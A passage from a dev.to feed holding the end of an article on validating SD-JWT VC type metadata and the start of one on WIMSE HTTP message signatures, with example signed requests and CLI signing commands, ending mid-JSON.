&lt;li&gt;Array indexes count undisclosed elements. &lt;code&gt;["nationalities", 1]&lt;/code&gt; is &lt;code&gt;"FR"&lt;/code&gt; even though element 0 never arrived. That is why your SD-JWT processor must keep the positions.&lt;/li&gt;
&lt;li&gt;A claim is selectively disclosable only if it is itself a Disclosure. A child of a disclosed object is not.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;All three in the script's output, run against the presentation from earlier:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;== Section 5.6: claim metadata against the presentation
  ACCEPT  base PID claims
  REJECT  ["age_equal_or_over", "18"] declared sd=always (only its parent is a Disclosure)
  ACCEPT  ["nationalities", 0, "code"] on an undisclosed element
  REJECT  ["vct", 0] (index on a string): index on non-array
  REJECT  ["exp"] declared sd=always: must be selectively disclosable
  REJECT  mandatory ["family_name"] with no hidden digests left
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;"base PID claims" includes &lt;code&gt;given_name&lt;/code&gt; as &lt;code&gt;mandatory&lt;/code&gt; and &lt;code&gt;sd: always&lt;/code&gt;. The Holder did not disclose it, and the check passes because two digests at the top level are still hidden. The last line only rejects because I gave the validator a payload with no undisclosed digests left, which is the only state in which a Verifier can actually prove absence.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;extends&lt;/code&gt;: tighten, never loosen
&lt;/h3&gt;

&lt;p&gt;A child inherits the parent's claim metadata. For the same &lt;code&gt;path&lt;/code&gt;, properties combine with the child winning, but the contents of a property are never merged: a child &lt;code&gt;display&lt;/code&gt; array replaces the parent's (5.6.5). Two limits (5.6.5.1): &lt;code&gt;sd&lt;/code&gt; may move from &lt;code&gt;allowed&lt;/code&gt; (or omitted) to &lt;code&gt;always&lt;/code&gt; or &lt;code&gt;never&lt;/code&gt; and nowhere else, and &lt;code&gt;mandatory&lt;/code&gt; may go from false to true but not back. Type-level &lt;code&gt;display&lt;/code&gt; has a different rule: if the child defines it, the parent's is ignored entirely (5.5.2).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;== Section 5.3 / 5.6.5.1 / 6 / 7.4: extends chains
  ACCEPT  child adds mandatory, integrity matches  (4 claim rules)
  REJECT  child flips given_name sd always -&amp;gt; allowed
  REJECT  child sets mandatory given_name to false
  REJECT  parent served with sd edited: #integrity mismatch for urn:example:pid
  REJECT  URL serves a document for another vct: retrieved vct https://types.example/other != reference https://types.example/pid/v1
  REJECT  urn:a extends urn:b extends urn:a: extends cycle: urn:a -&amp;gt; urn:b -&amp;gt; urn:a
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Trust in all of this is only as good as the Publisher (7.8). Type Metadata can come from the &lt;code&gt;vct&lt;/code&gt; URL, a registry, an ecosystem-defined method, or a local cache, and the draft tells Consumers not to assume it is accurate unless the Publisher is authoritative for that type.&lt;/p&gt;

&lt;h3&gt;
  
  
  Rendering
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;display&lt;/code&gt; is per locale (with an optional &lt;code&gt;dir&lt;/code&gt; for bidi text since -20) and may carry a &lt;code&gt;rendering&lt;/code&gt; object with a &lt;code&gt;simple&lt;/code&gt; method (logo, background image, colors) or &lt;code&gt;svg_templates&lt;/code&gt;. SVG templates use &lt;code&gt;{{svg_id}}&lt;/code&gt; placeholders, only in text content, with at least &lt;code&gt;&amp;amp; &amp;lt; &amp;gt; " '&lt;/code&gt; escaped (5.5.1.2.2):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;svg&lt;/span&gt; &lt;span class="na"&gt;xmlns&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2000/svg"&lt;/span&gt; &lt;span class="na"&gt;width&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"100"&lt;/span&gt; &lt;span class="na"&gt;height&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"100"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;text&lt;/span&gt; &lt;span class="na"&gt;x&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"10"&lt;/span&gt; &lt;span class="na"&gt;y&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"20"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Street address: {{address_street_address}}&lt;span class="nt"&gt;&amp;lt;/text&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/svg&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Consumer MUST NOT execute code in the template and MUST sandbox the display if it cannot reliably prevent execution (7.10). An &lt;code&gt;svg_id&lt;/code&gt; may not sit on a &lt;code&gt;path&lt;/code&gt; containing &lt;code&gt;null&lt;/code&gt;, since that path can select several values. External references inside the SVG are a tracking channel, same as the metadata fetches. Servers SHOULD send &lt;code&gt;X-Content-Type-Options: nosniff&lt;/code&gt; and a restrictive CSP like &lt;code&gt;default-src 'none'&lt;/code&gt; because these documents are also reachable from plain browsers (7.2).&lt;/p&gt;

&lt;h2&gt;
  
  
  What your policy has to decide
&lt;/h2&gt;

&lt;p&gt;The draft defers a lot to "policy". If you are building a Verifier, these are the decisions it leaves to you, each with a concrete failure if you skip it:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Decision&lt;/th&gt;
&lt;th&gt;Draft section&lt;/th&gt;
&lt;th&gt;If you leave it open&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Key mechanism per Issuer, never from the credential&lt;/td&gt;
&lt;td&gt;2.5, 7.3&lt;/td&gt;
&lt;td&gt;Any cert holder under your anchors can claim any &lt;code&gt;iss&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Trust anchors per Issuer for &lt;code&gt;x5c&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;2.5&lt;/td&gt;
&lt;td&gt;A self-signed &lt;code&gt;x5c&lt;/code&gt; passes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Which Issuers may issue which &lt;code&gt;vct&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;7.7&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;extends&lt;/code&gt; and &lt;code&gt;aka_vcts&lt;/code&gt; become a type-spoofing path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Whether Type Metadata is required&lt;/td&gt;
&lt;td&gt;5.7&lt;/td&gt;
&lt;td&gt;Required but unfetchable must reject. Optional but fetched must still be fully processed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Redirect cap, time and size bounds, &lt;code&gt;extends&lt;/code&gt; depth&lt;/td&gt;
&lt;td&gt;3, 7.4&lt;/td&gt;
&lt;td&gt;Unbounded fan-out from one credential&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Address checks on every hop, connect to the checked IP&lt;/td&gt;
&lt;td&gt;7.1&lt;/td&gt;
&lt;td&gt;SSRF into cloud metadata or internal services&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Status checking&lt;/td&gt;
&lt;td&gt;2.4&lt;/td&gt;
&lt;td&gt;Revoked credentials accepted, by policy&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Where the draft stands (15 November 2026)
&lt;/h2&gt;

&lt;p&gt;Datatracker shows -26 (6 November), IESG state "IESG Evaluation::AD Followup", Proposed Standard, &lt;code&gt;Updates: 7800 (if approved)&lt;/code&gt;. The ballot page still lists Éric Vyncke's DISCUSS on -23 (the &lt;code&gt;SHOULD treat&lt;/code&gt; and the status &lt;code&gt;SHOULD&lt;/code&gt;), which -25 and -26 were written to answer, and notes the document has enough positions to pass once it is resolved. Mike Bishop moved to No Objection on -24.&lt;/p&gt;

&lt;p&gt;Answered since -23: the RFC 7800 relationship (now &lt;code&gt;Updates&lt;/code&gt;), &lt;code&gt;iss&lt;/code&gt; plus &lt;code&gt;x5c&lt;/code&gt; (policy selects, other inputs do not identify the Issuer), RFC 5280 chain validation, and &lt;code&gt;x5c&lt;/code&gt; certificates not being trust anchors.&lt;/p&gt;

&lt;p&gt;Still not in -26, from ballot comments:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No allow-list escape from Section 7.1 for closed or enterprise deployments where the Issuer lives on a private address. Mahesh Jethanandani raised it. As written, such a deployment is non-conformant.&lt;/li&gt;
&lt;li&gt;No cap on &lt;code&gt;extends&lt;/code&gt; depth or total retrievals per credential.&lt;/li&gt;
&lt;li&gt;Issuer metadata and Type Metadata are still served as &lt;code&gt;application/json&lt;/code&gt;, not a dedicated media type (Mike Bishop's comment).&lt;/li&gt;
&lt;li&gt;Nothing says explicitly that the &lt;code&gt;issuer == iss&lt;/code&gt; check holds regardless of the redirect chain the metadata came through. Implement it that way anyway.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you have test vectors from -22, regenerate them: -23 re-signed the examples, and the KB-JWT &lt;code&gt;iat&lt;/code&gt; and &lt;code&gt;sd_hash&lt;/code&gt; values changed. The protocol did not.&lt;/p&gt;

&lt;p&gt;The script and &lt;code&gt;run.sh&lt;/code&gt; are in &lt;a href="https://github.com/0-draft/dev.to/tree/main/articles/assets/sd-jwt-vc-deep-dive"&gt;&lt;code&gt;articles/assets/sd-jwt-vc-deep-dive/&lt;/code&gt;&lt;/a&gt;. It is under 500 lines, and every verdict above comes from one run of it. If your verifier gives a different answer on any of those lines, one of us has a bug, and I would like to know which.&lt;/p&gt;

</description>
      <category>oauth</category>
      <category>security</category>
      <category>identity</category>
      <category>jwt</category>
    </item>
    <item>
      <title>WIMSE HTTP Signatures Deep Dive: Proof of Possession That Survives the Load Balancer</title>
      <dc:creator>kt</dc:creator>
      <pubDate>Sat, 14 Nov 2026 22:24:28 +0000</pubDate>
      <link>https://dev.to/kanywst/wimse-http-signatures-deep-dive-proof-of-possession-that-survives-the-load-balancer-1176</link>
      <guid>https://dev.to/kanywst/wimse-http-signatures-deep-dive-proof-of-possession-that-survives-the-load-balancer-1176</guid>
      <description>&lt;p&gt;The first thing I noticed in draft-ietf-wimse-http-signature is a component it leaves out. The profile signs the method, the path, the query, the body digest and the token, but not &lt;code&gt;@authority&lt;/code&gt;. A spec whose whole job is binding a request to its recipient does not sign the recipient's host name.&lt;/p&gt;

&lt;p&gt;That is on purpose, and it explains most of the design. The draft exists for calls that go through TLS-terminating proxies and load balancers, and those boxes rewrite the authority all the time. If &lt;code&gt;@authority&lt;/code&gt; were signed, every such hop would break verification. So the recipient goes into a signature parameter, &lt;code&gt;wimse-aud&lt;/code&gt;, which no proxy touches.&lt;/p&gt;

&lt;p&gt;I signed and verified requests with &lt;a href="https://github.com/kanywst/wimsey" rel="noopener noreferrer"&gt;wimsey&lt;/a&gt;, my Rust implementation of the WIMSE drafts, which is listed in the draft's Implementation Status section. If you need the WIMSE background first (WIT, WPT, trust domains), I covered it in &lt;a href="https://dev.to/kanywst/wimse-workload-identity-in-multi-system-environments-deep-dive-standardizing-identity-5a12"&gt;the WIMSE deep dive&lt;/a&gt;. My full notes on this draft, including the -07 to -08 diff, are on &lt;a href="https://0-draft.github.io/identity-deep-dive/ietf-wimse/deep-dives/draft-ietf-wimse-http-signature/" rel="noopener noreferrer"&gt;identity-deep-dive&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where the draft stands
&lt;/h2&gt;

&lt;p&gt;Checked on 2026-11-15 against the datatracker and the draft repository:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;State&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Latest revision&lt;/td&gt;
&lt;td&gt;-08, 2026-10-20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WG state&lt;/td&gt;
&lt;td&gt;Submitted to IESG for Publication&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IESG state&lt;/td&gt;
&lt;td&gt;AD Evaluation (AD: Charles Eckel, shepherd: Justin Richer)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Intended status&lt;/td&gt;
&lt;td&gt;Proposed Standard&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authors&lt;/td&gt;
&lt;td&gt;Joe Salowey, Yaron Sheffer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Merged for -09&lt;/td&gt;
&lt;td&gt;a client may reuse a server-generated &lt;code&gt;nonce&lt;/code&gt; from &lt;code&gt;Accept-Signature&lt;/code&gt; (#369)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Open&lt;/td&gt;
&lt;td&gt;#421 (CONNECT &lt;code&gt;@authority&lt;/code&gt; default port), #420 (example nonces), #419 (test vectors), #417 (intro wording)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;So the text is close to final. The -08 changes turned several loose points into MUSTs, and those are the parts that will break a -07 implementation.&lt;/p&gt;

&lt;h2&gt;
  
  
  The shape of the exchange
&lt;/h2&gt;

&lt;p&gt;WIMSE has two application-layer options that both carry a WIT. The WPT draft is the DPoP-style one: a separate JWT proof in a header. This draft instead uses HTTP Message Signatures (&lt;a href="https://www.rfc-editor.org/rfc/rfc9421" rel="noopener noreferrer"&gt;RFC 9421&lt;/a&gt;): the caller signs the HTTP message itself with the private key whose public half sits in the WIT's &lt;code&gt;cnf.jwk&lt;/code&gt;. The server can sign the response the same way with its own WIT. Appendix C of the draft gives response signing as one of the reasons to pick this option over WPT.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fwimse-http-signature-deep-dive%2Fdiagrams%2F01-request-response-flow.png%3Fv%3Dca4ccca6" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fwimse-http-signature-deep-dive%2Fdiagrams%2F01-request-response-flow.png%3Fv%3Dca4ccca6" alt="Request and response flow through a TLS-terminating load balancer" width="760" height="689"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The order on the server side is fixed by Section 3. The WIT is validated first, before the signature is touched, because the verification key comes out of the WIT. The message "is not processed further before it has been fully validated". Any failure, WIT or signature, returns the same 400.&lt;/p&gt;

&lt;h2&gt;
  
  
  What a signed request looks like
&lt;/h2&gt;

&lt;p&gt;This is the draft's own example (Section 3.7.1, generated from &lt;code&gt;includes/sigs-request.txt&lt;/code&gt; at tag &lt;code&gt;draft-ietf-wimse-http-signature-08&lt;/code&gt;, WIT shortened):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="na"&gt;GET /gimme-ice-cream?flavor&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;vanilla&lt;/span&gt; &lt;span class="no"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;
&lt;span class="nc"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;svcb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;
&lt;span class="na"&gt;Signature: sig1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;wfnk8T0ysp3a6bvqZAoeBoa2dFgRHooSel8jIAbKnbIP13cpy&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nc"&gt;O1J6xAYkziiUnVQ&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nc"&gt;NlMoR&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nc"&gt;ANDBHRwoB7ZIAA&lt;/span&gt;&lt;span class="o"&gt;==:&lt;/span&gt;
&lt;span class="na"&gt;Signature-Input: sig1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"@method"&lt;/span&gt; &lt;span class="s2"&gt;"@path"&lt;/span&gt; &lt;span class="s2"&gt;"@query"&lt;/span&gt; &lt;span class="s2"&gt;"workload-identity-token"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="n"&gt;created&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1789405135&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="n"&gt;expires&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1789405435&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"abcd1111"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"wimse-workload-to-workload"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="n"&gt;wimse&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;aud&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"https://svcb.example.com/gimme-ice-cream"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="n"&gt;wimse&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;sign&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;
&lt;span class="nc"&gt;Workload&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;Identity&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;Token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;eyJhbGciOiJFZDI1NTE5Iiwia2lkIjoiaXNzdWVyLWtleSIsInR5cCI6IndpdCtqd3QifQ&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eyJjbmYiOnsiandrIjp7ImFsZyI6IkVkMjU1MTki&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Everything that matters is in &lt;code&gt;Signature-Input&lt;/code&gt;. The covered components are the list in parentheses, and the signature parameters follow it. RFC 9421 puts that whole string into the signature base as the last line, &lt;code&gt;@signature-params&lt;/code&gt;, so the parameters are signed too. That is the mechanism the draft relies on: &lt;code&gt;wimse-aud&lt;/code&gt; is "protected by the signature and is not affected by hop-by-hop rewriting of the request URI" (Section 3.2).&lt;/p&gt;

&lt;p&gt;Don't copy &lt;code&gt;nonce="abcd1111"&lt;/code&gt;. -08 requires a CSPRNG nonce with at least 64 bits of entropy (96 recommended). Eight hex characters are 32 bits at most, and these are not random. Issue #420 asks for a note next to the examples saying so. It is still open.&lt;/p&gt;

&lt;p&gt;Here is every field in the request, with the values from a request I signed with wimsey:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fwimse-http-signature-deep-dive%2Fdiagrams%2F02-signature-input-anatomy.png%3Fv%3Da872a5e8" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fwimse-http-signature-deep-dive%2Fdiagrams%2F02-signature-input-anatomy.png%3Fv%3Da872a5e8" alt="Field-by-field anatomy of a WIMSE Signature-Input" width="720" height="665"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Points that are easy to get wrong:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;@query&lt;/code&gt; is always covered. With no query string its value is &lt;code&gt;?&lt;/code&gt;, per RFC 9421 Section 2.2.7. The first version of the independent test vectors in issue #419 left out the leading &lt;code&gt;?&lt;/code&gt; in four vectors, and they had to be regenerated.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;@path&lt;/code&gt; and &lt;code&gt;@query&lt;/code&gt; are separate components, not &lt;code&gt;@request-target&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Content-Digest&lt;/code&gt; (RFC 9530) is mandatory whenever there is a body, and the receiver MUST recompute it from the bytes it actually got. The signature alone only proves the header wasn't changed.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;keyid&lt;/code&gt; and &lt;code&gt;alg&lt;/code&gt; MUST NOT appear. The key travels in the WIT, and the algorithm is &lt;code&gt;cnf.jwk.alg&lt;/code&gt;. The recipient then rejects an algorithm that its local policy does not accept for that trust domain (Section 3.1).&lt;/li&gt;
&lt;li&gt;The WIMSE signature is found by &lt;code&gt;tag="wimse-workload-to-workload"&lt;/code&gt;, never by label. An intermediary may add its own signature next to it, but two signatures carrying this tag is a reject.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why &lt;code&gt;@authority&lt;/code&gt; is out, and what replaces it
&lt;/h2&gt;

&lt;p&gt;Section 3 says it directly: "TLS-terminating proxies and load balancers commonly rewrite the authority ..., so signing it would break those deployments. Recipient binding is carried instead by the mandatory &lt;code&gt;wimse-aud&lt;/code&gt; signature parameter."&lt;/p&gt;

&lt;p&gt;The audience moves from something derived from the message to something the sender states. By default the sender uses the target URI without query or fragment, "as known to the sender". The recipient compares it against its own configured list using RFC 3986 Section 6.2.1 Simple String Comparison, which is byte for byte. &lt;code&gt;https://svcb.example.com/orders/&lt;/code&gt; and &lt;code&gt;https://svcb.example.com:443/orders&lt;/code&gt; are different strings and do not match. If a service answers to several spellings, each one goes into its configuration. The recipient "MUST NOT derive an acceptable audience from untrusted request fields such as &lt;code&gt;Host&lt;/code&gt;", which would put the rewritten-authority problem back in.&lt;/p&gt;

&lt;p&gt;CONNECT is the one exception. Its target is &lt;code&gt;host:port&lt;/code&gt;, with no path or query, so senders cover &lt;code&gt;@method&lt;/code&gt; and &lt;code&gt;@authority&lt;/code&gt; and MUST NOT cover &lt;code&gt;@path&lt;/code&gt; or &lt;code&gt;@query&lt;/code&gt;. This was added in -08 (#368). It already has a follow-up: the issue #419 vector P-04 signed &lt;code&gt;@authority&lt;/code&gt; as &lt;code&gt;svcb.example.com:443&lt;/code&gt;, while RFC 9421 Section 2.2.3 normalizes by dropping the default port. The vector author corrected P-04 to &lt;code&gt;svcb.example.com&lt;/code&gt; on 2026-11-13, and Yaron Sheffer opened PR #421 to spell this out in the draft. That PR is still open. The draft also doesn't say what the default &lt;code&gt;wimse-aud&lt;/code&gt; is for a CONNECT target.&lt;/p&gt;

&lt;h2&gt;
  
  
  Signing it for real
&lt;/h2&gt;

&lt;p&gt;wimsey 0.10.1 (commit &lt;code&gt;56b0705&lt;/code&gt;), built with &lt;code&gt;cargo build -p wimsey-cli&lt;/code&gt; in a temp dir:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wimsey key generate --out issuer.jwk
wimsey key generate --out pop.jwk
wimsey wit issue --issuer-key issuer.jwk --cnf-key pop.jwk \
  --sub wimse://example.org/svcA --iss https://issuer.example &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; wit.txt

&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'{"scoop":2}'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; body.json
wimsey httpsig sign --pop-key pop.jwk --method POST \
  --authority svcb.example.com --path /orders --query &lt;span class="nv"&gt;flavor&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;vanilla \
  --header &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; --body-file body.json \
  --wit &lt;span class="s2"&gt;"$(cat wit.txt)"&lt;/span&gt; --aud https://svcb.example.com/orders --sign-response
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Signature-Input: wimse=("@method" "@path" "@query" "content-type" "content-digest" "workload-identity-token");created=1794693733;expires=1794694033;nonce="b07a6d06c25627ea5b2d82539553a606";tag="wimse-workload-to-workload";wimse-aud="https://svcb.example.com/orders";wimse-sign-response
Signature: wimse=:OWmFBgYixdL0OTnt/lTjz+cF6pQR9J03tMarf5xmLPGMEqTXL/5PGIIQdh1dhlYlHERifhzfLyjB7yofJM/hCg==:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The component list grew on its own: &lt;code&gt;content-type&lt;/code&gt; and &lt;code&gt;content-digest&lt;/code&gt; were added because the request has them. The nonce is 128 random bits. &lt;code&gt;wimse-sign-response&lt;/code&gt; is a bare parameter, which is how RFC 8941 serializes Boolean true. The label is &lt;code&gt;wimse&lt;/code&gt; and not &lt;code&gt;sig1&lt;/code&gt;, which a WIMSE verifier doesn't care about.&lt;/p&gt;

&lt;p&gt;The WIT it carries decodes to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"iss"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"https://issuer.example"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"sub"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"wimse://example.org/svcA"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"iat"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1794693733&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"exp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1794697333&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="nl"&gt;"jti"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"8efd56d4ee2764a51547736ef2426c5f"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
